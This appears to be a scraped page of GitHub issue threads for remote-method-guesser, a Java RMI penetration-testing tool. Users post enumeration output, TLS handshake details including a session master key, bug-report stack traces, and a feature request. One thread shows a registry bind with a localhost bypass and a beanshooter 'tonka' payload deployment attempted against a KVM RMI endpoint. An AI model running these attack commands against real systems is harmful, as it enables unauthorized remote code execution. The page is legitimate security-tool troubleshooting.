root@pd-server:~# rmg enum xx.xx.xx.xx 1099
[+] RMI registry bound names:
[+]
[+] 	- HPDM Server RMI
[+] 		--> com.hp.hpdm.interf.ServiceInterf (unknown class)
[+] 		    Endpoint: xx.xx.xx.xx:40002  TLS: yes  ObjID: [-fa33263:18bd5254a1d:-7fff, -7597186216686322017]
[+]
[+] RMI server codebase enumeration:
[+]
[+] 	- The remote server does not expose any codebases.
[+]
[+] RMI server String unmarshalling enumeration:
[+]
[+] 	- Server complained that object cannot be casted to java.lang.String.
[+] 	  --> The type java.lang.String is unmarshalled via readString().
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server useCodebaseOnly enumeration:
[+]
[+] 	- RMI registry uses readString() for unmarshalling java.lang.String.
[+] 	  This prevents useCodebaseOnly enumeration from remote.
[+]
[+] RMI registry localhost bypass enumeration (CVE-2019-2684):
[+]
[+] 	- Registry rejected unbind call cause it was not sent from localhost.
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI Security Manager enumeration:
[+]
[+] 	- Caught Exception containing 'no security manager' during RMI call.
[+] 	  --> The server does not use a Security Manager.
[+] 	  Configuration Status: Current Default
[+]
[+] RMI server JEP290 enumeration:
[+]
[+] 	- DGC rejected deserialization of java.util.HashMap (JEP290 is installed).
[+] 	  Vulnerability Status: Non Vulnerable
[+]
[+] RMI registry JEP290 bypass enumeration:
[+]
[+] 	- RMI registry uses readString() for unmarshalling java.lang.String.
[+] 	  This prevents JEP 290 bypass enumeration from remote.
[+]
[+] RMI ActivationSystem enumeration:
[+]
[+] 	- Caught NoSuchObjectException during activate call (activator not present).
[+] 	  Configuration Status: Current Default
root@pd-server:~# rmg guess xx.xx.xx.xx 1099
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[-] 		Caught unexpected java.rmi.ConnectIOException during method call.
[-] 		Please report this to improve rmg :)
[-] 		StackTrace:
java.rmi.ConnectIOException: error during JRMP connection establishment; nested exception is: 
	javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:307)
	at sun.rmi.transport.tcp.TCPChannel.newConnection(TCPChannel.java:202)
	at sun.rmi.server.UnicastRef.newCall(UnicastRef.java:343)
	at de.qtc.rmg.networking.RMIEndpoint.guessingCall(RMIEndpoint.java:153)
	at de.qtc.rmg.operations.RemoteObjectClient.guessingCall(RemoteObjectClient.java:312)
	at de.qtc.rmg.operations.MethodGuesser$GuessingWorker.run(MethodGuesser.java:335)
	at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
	at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
	at java.lang.Thread.run(Thread.java:750)
Caused by: javax.net.ssl.SSLHandshakeException: Received fatal alert: bad_certificate
	at sun.security.ssl.Alert.createSSLException(Alert.java:131)
	at sun.security.ssl.Alert.createSSLException(Alert.java:117)
	at sun.security.ssl.TransportContext.fatal(TransportContext.java:311)
	at sun.security.ssl.Alert$AlertConsumer.consume(Alert.java:293)
	at sun.security.ssl.TransportContext.dispatch(TransportContext.java:185)
	at sun.security.ssl.SSLTransport.decode(SSLTransport.java:152)
	at sun.security.ssl.SSLSocketImpl.decode(SSLSocketImpl.java:1392)
	at sun.security.ssl.SSLSocketImpl.readHandshakeRecord(SSLSocketImpl.java:1300)
	at sun.security.ssl.SSLSocketImpl.startHandshake(SSLSocketImpl.java:435)
	at sun.security.ssl.SSLSocketImpl.ensureNegotiated(SSLSocketImpl.java:813)
	at sun.security.ssl.SSLSocketImpl.access$200(SSLSocketImpl.java:73)
	at sun.security.ssl.SSLSocketImpl$AppOutputStream.write(SSLSocketImpl.java:1175)
	at java.io.BufferedOutputStream.flushBuffer(BufferedOutputStream.java:82)
	at java.io.BufferedOutputStream.flush(BufferedOutputStream.java:140)
	at java.io.DataOutputStream.flush(DataOutputStream.java:123)
	at sun.rmi.transport.tcp.TCPChannel.createConnection(TCPChannel.java:229)
	... 8 more
[-] 		Cannot continue from here.

The certificate itself is a self signed one,

root@server:~# openssl s_client -connect xx.xx.xx.xx:40002
CONNECTED(00000003)
Can't use SSL_get_servername
depth=0 CN = HP Device Manager, OU = RMI Service, O = HP Device Manager, L = SH, ST = SH, C = CN
verify error:num=18:self signed certificate
verify return:1
depth=0 CN = HP Device Manager, OU = RMI Service, O = HP Device Manager, L = SH, ST = SH, C = CN
verify return:1
140393349584192:error:14094412:SSL routines:ssl3_read_bytes:sslv3 alert bad certificate:../ssl/record/rec_layer_s3.c:1543:SSL alert number 42
---
Certificate chain
 0 s:CN = HP Device Manager, OU = RMI Service, O = HP Device Manager, L = SH, ST = SH, C = CN
   i:CN = HP Device Manager, OU = RMI Service, O = HP Device Manager, L = SH, ST = SH, C = CN
---
Server certificate
-----BEGIN CERTIFICATE-----
MIIDYzCCAkugAwIBAgIBATANBgkqhkiG9w0BAQsFADB1MRowGAYDVQQDDBFIUCBE
ZXZpY2UgTWFuYWdlcjEUMBIGA1UECwwLUk1JIFNlcnZpY2UxGjAYBgNVBAoMEUhQ
IERldmljZSBNYW5hZ2VyMQswCQYDVQQHDAJTSDELMAkGA1UECAwCU0gxCzAJBgNV
BAYTAkNOMB4XDTIyMDUxOTE4MTE1MVoXDTQyMDUxOTE4MTE1MVowdTEaMBgGA1UE
AwwRSFAgRGV2aWNlIE1hbmFnZXIxFDASBgNVBAsMC1JNSSBTZXJ2aWNlMRowGAYD
VQQKDBFIUCBEZXZpY2UgTWFuYWdlcjELMAkGA1UEBwwCU0gxCzAJBgNVBAgMAlNI
MQswCQYDVQQGEwJDTjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAKT1
13ugxJjfbXBs+VAKx/FbgHxU5gVO2WDTQsIMTRgAfeCrSMCp14ru9zkTLA0nKEr+
PujidIa1M7w8xsW0pnyxM8+34K8lBwlJNKe98jBRXLM+TYx5kidqd+3Y7S94dxAm
u8NnxZxI+j1RDHjZQ4Fl5HCc6FP+B55yGuj3e3KqDHd2HHbsJaSHfStk5ZVAO97Q
HZqoRZxTcEWXeXah2CB5A3YEAHweKoWTsHEMZuLkmgUj3XhQ+T9R8RHpuf/KzTfU
bEY5N1XOLRsE1nstcXQ+SXSCd4+Zj8GpmcX5WrvkDwYervHNuArmVJvP744NmeQ3
8gv4w5TCSYl8hn7YVDUCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAl3vnsjH6Zlkx
t6BHTyVI3+SRcU0C+nH0Ja38vxQPWNpgfZNlKvO8UjvALUCGu2/WqmwLRF4tiGSS
9zoWOKGwRDSmXunrAA/R2dXcBjB5GqOW6JLdfV6cUTrgbHUBRaUTr1OuZnq2zaBM
3AfnBsDSfLOVSqfAUrDEPoRQrz2SSAYP0RlOX+lucpy+t1JaqOMODWs9OupTnq3p
n6hfuju4b+8zC947v5sTI51FW3a6V1RxC+YnQHaHXz3nrldhwiv9+d+WRS81v71b
RtDikZIkjZBUcVpE2CFETQzcFztyCt/2F29oClZU+C2O8zYtIAhtcjI1eeBIuxZY
dYn6/MfAZw==
-----END CERTIFICATE-----
subject=CN = HP Device Manager, OU = RMI Service, O = HP Device Manager, L = SH, ST = SH, C = CN

issuer=CN = HP Device Manager, OU = RMI Service, O = HP Device Manager, L = SH, ST = SH, C = CN

---
Acceptable client certificate CA names
CN = HP Device Manager, OU = RMI Client, O = HP Device Manager, L = SH, ST = SH, C = CN
CN = HP Device Manager, OU = RMI Service, O = HP Device Manager, L = SH, ST = SH, C = CN
Client Certificate Types: ECDSA sign, RSA sign, DSA sign
Requested Signature Algorithms: ECDSA+SHA256:ECDSA+SHA384:ECDSA+SHA512:RSA-PSS+SHA256:RSA-PSS+SHA384:RSA-PSS+SHA512:RSA-PSS+SHA256:RSA-PSS+SHA384:RSA-PSS+SHA512:RSA+SHA256:RSA+SHA384:RSA+SHA512:DSA+SHA256:ECDSA+SHA1:RSA+SHA1:DSA+SHA1:0x01+0x01
Shared Requested Signature Algorithms: ECDSA+SHA256:ECDSA+SHA384:ECDSA+SHA512:RSA-PSS+SHA256:RSA-PSS+SHA384:RSA-PSS+SHA512:RSA-PSS+SHA256:RSA-PSS+SHA384:RSA-PSS+SHA512:RSA+SHA256:RSA+SHA384:RSA+SHA512:DSA+SHA256
Peer signing digest: SHA256
Peer signature type: RSA-PSS
Server Temp Key: X25519, 253 bits
---
SSL handshake has read 1589 bytes and written 388 bytes
Verification error: self signed certificate
---
New, TLSv1.2, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
SSL-Session:
    Protocol  : TLSv1.2
    Cipher    : ECDHE-RSA-AES256-GCM-SHA384
    Session-ID: A8373FEE46DA855FFDE278A1DA35C290B4930A0CB2BA865343B95812569B6E74
    Session-ID-ctx: 
    Master-Key: 55D44A81F5B2A7A1A98BBFF1C67F3766B19D28A68A42D593BF1999B30D0AD90038DF7E9B030ECFD3579D53D5AF0FB26A
    PSK identity: None
    PSK identity hint: None
    SRP username: None
    Start Time: 1703316023
    Timeout   : 7200 (sec)
    Verify return code: 18 (self signed certificate)
    Extended master secret: yes
---

Will it be possible to handle it ignoring all ssl errors?

Regards,
Nicolas

suggest

Hello Tobias,
This is a great tool, but the security risks of batch testing Java-RMI services are required in daily work. Hope to add batch testing function later,Thanks~

: )

java.lang.IllegalAccessError: superclass access check failed: class de.qtc.rmg.io.MaliciousOutputStream

Hi,

I've tried both the compiling and the compiled release version, and still getting the following stack trace regardless of the command options. Any idea?

$./rmg-4.3.1-jar-with-dependencies.jar scan 10.24.1.11 [+] Scanning 112 Ports on 10.24.1.11 for RMI services. [+] [-] Internal error. Caught unexpected java.lang.reflect.InvocationTargetException within the Operation.invoke(...) function. [-] StackTrace: java.lang.reflect.InvocationTargetException at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at java.base/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) at java.base/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) at java.base/java.lang.reflect.Method.invoke(Method.java:568) at de.qtc.rmg.operations.Operation.invoke(Operation.java:325) at de.qtc.rmg.Starter.main(Starter.java:26) Caused by: java.lang.IllegalAccessError: superclass access check failed: class de.qtc.rmg.io.MaliciousOutputStream (in unnamed module @0x2f4551e6) cannot access class sun.rmi.server.MarshalOutputStream (in module java.rmi) because module java.rmi does not export sun.rmi.server to unnamed module @0x2f4551e6 at java.base/java.lang.ClassLoader.defineClass1(Native Method) at java.base/java.lang.ClassLoader.defineClass(ClassLoader.java:1012) at java.base/java.security.SecureClassLoader.defineClass(SecureClassLoader.java:150) at java.base/jdk.internal.loader.BuiltinClassLoader.defineClass(BuiltinClassLoader.java:862) at java.base/jdk.internal.loader.BuiltinClassLoader.findClassOnClassPathOrNull(BuiltinClassLoader.java:760) at java.base/jdk.internal.loader.BuiltinClassLoader.loadClassOrNull(BuiltinClassLoader.java:681) at java.base/jdk.internal.loader.BuiltinClassLoader.loadClass(BuiltinClassLoader.java:639) at java.base/jdk.internal.loader.ClassLoaders$AppClassLoader.loadClass(ClassLoaders.java:188) at java.base/java.lang.ClassLoader.loadClass(ClassLoader.java:520) at de.qtc.rmg.operations.PortScanner$PortScanWorker.<init>(PortScanner.java:153) at de.qtc.rmg.operations.PortScanner.portScan(PortScanner.java:95) at de.qtc.rmg.operations.Dispatcher.dispatchPortScan(Dispatcher.java:608) ... 6 more [-] Cannot continue from here.

RMG And beanshooter on bind operations

Hi,
I hope all is well. On one of the tests I have encountered the following issue, where I'm wondering if i'm doing something wrong on my end as I never succeeded with bind so far.

The java-RMI endpoint, originally will show the following

root@system:~/tools/rmi/remote-method-guesser# rmg enum 10.22.xx.xx 1099
[+] RMI registry bound names:
[+]
[+] 	- rmi://localhost:1099/DELL_KVMiloXX_5900_5900_abcdefg
[+] 		--> com.avocent.app.k.i_Stub (unknown class)
[+] 		    Endpoint: 10.22.xxx.xxx:38365  CSF: RMISocketFactory  ObjID: [-2a340344:18e09fb1829:-7fff, 2678333880810721886]
...

On a guess attempt we have something as below:

root@system:~/tools/rmi/remote-method-guesser# java2 -jar rmg-5.0.0-jar-with-dependencies.jar guess 10.22.xxx.xxx 1099 
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ rmi://localhost:1099/DELL_KVMiloXX_5900_5900_abcdefg ] HIT! Method with signature String getProperty(String property) exists!
[+] 		[3281 / 3281] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- rmi://localhost:1099/DELL_KVMiloXX_5900_5900_abcdefg
[+] 		--> String getProperty(String property)
...

Executing a bind request,

java2 -jar rmg-5.0.0-jar-with-dependencies.jar bind 10.22.xxx.xxx 1099 localhost:2099 object1 --localhost-bypass

Will deliver the message,

[+] Binding name object1 to javax.management.remote.rmi.RMIServerImpl_Stub
[+]
[+] 	Encountered no Exception during bind call.
[+] 	Bind operation was probably successful.

A new guess request now will show also the results,

root@system:~/tools/rmi/remote-method-guesser# java2 -jar rmg-5.0.0-jar-with-dependencies.jar guess 10.22.xxx.xxx 1099 
[+] Reading method candidates from internal wordlist rmg.txt
[+] 	752 methods were successfully parsed.
[+] Reading method candidates from internal wordlist rmiscout.txt
[+] 	2550 methods were successfully parsed.
[+]
[+] Starting Method Guessing on 3281 method signature(s).
[+]
[+] 	MethodGuesser is running:
[+] 		--------------------------------
[+] 		[ rmi://localhost:1099/DELL_KVMiloXX_5900_5900_abcdefg ] HIT! Method with signature String getProperty(String property) exists!
[+] 		[3281 / 3281] [#####################################] 100%
[+] 	done.
[+]
[+] Listing successfully guessed methods:
[+]
[+] 	- rmi://localhost:1099/DELL_KVMiloXX_5900_5900_abcdefg
[+] 		--> String getProperty(String property)
[+] 	- object1
[+] 		--> String getVersion()
[+] 		--> javax.management.remote.rmi.RMIConnection newClient(Object params)

At this point I'm with the impression that I can call beanshooter and proceed on a tonka, or other mlet deployment but all attempts will lead to a response as below:

root@system:~/tools/rmi/remote-method-guesser# java2 -jar ../beanshooter/beanshooter-4.1.0-jar-with-dependencies.jar standard 10.22.xxx.xxx 1099 tonka --bound-name object1
[+] Creating a TemplateImpl payload object to abuse StandardMBean
[+]
[-] Caught java.rmi.NoSuchObjectException while invoking the newClient method.
[-] You probably specified an ObjID value that does not exist on the server.
[-] Cannot continue from here.

An idea or suggestion on which action might be done wrong is appreciated!

Regards,
Nicolas

Structured output

I'm using remote-method-guesser to scan several hosts and dissecting the textual output is tedious. So I've looked at the code and only got a vague idea (my Java skills are pretty bad) how to allow for alternative output formats:

  • Restructure code so that there's a dedicated logger interface with two implementations, a TTY one using ANSI escapes and a JSON one
  • Restructure code so that the logger interface methods are used, which receive a context (current host/port/probe) and event (with all the details logged to the console)

Seems like quite a bit of work, but on the upside, it would make the existing TTY formatting less terrible.

The JSON output would look something like this

{"host": "...", "port": "...", "probe": "rmi_registry_jep290_check", "status": "not vulnerable"}
{"host": "...", "port": "...", "probe": "rmi_registry_jep290_bypass", "status": "vulnerable", "gadget": "An Trinh"}

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.